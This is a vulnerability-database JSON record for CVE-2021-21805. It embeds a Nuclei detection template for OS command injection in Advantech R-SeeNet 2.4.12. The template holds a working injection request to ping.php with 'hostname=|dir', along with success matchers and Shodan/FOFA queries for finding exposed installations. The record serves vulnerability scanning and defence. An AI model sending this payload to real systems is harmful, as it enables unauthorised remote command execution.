{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-21805/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-21805/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-21805/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-21805/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-21805/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-21805"},"sightings":{"href":"/api/v1/sightings/cve-2021-21805"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-21805.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-21805\n\ninfo:\n  name: Advantech R-SeeNet 2.4.12 - OS Command Injection\n  author: arafatansari\n  severity: critical\n  description: |\n    Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.\n  remediation: |\n    Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.\n  reference:\n    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-21805\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-21805\n    cwe-id: CWE-78\n    epss-score: 0.69842\n    epss-percentile: 0.99341\n    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: advantech\n    product: r-seenet\n    shodan-query:\n      - http.html:\"R-SeeNet\"\n      - http.html:\"r-seenet\"\n    fofa-query: body=\"r-seenet\"\n  tags: cve2021,cve,rce,r-seenet,advantech,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/php/ping.php?hostname=|dir\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<title>Ping |dir</title>\"\n          - \"bottom.php\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100899d2e43b014177f66f48ab3b08b44a6ad14f0d35f9331c068cc8e275b3d7aa9022100f6cb822a68200ccfc88df6f38eafad56b5b3fc32973d40392f8b792374826f43:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-21805"}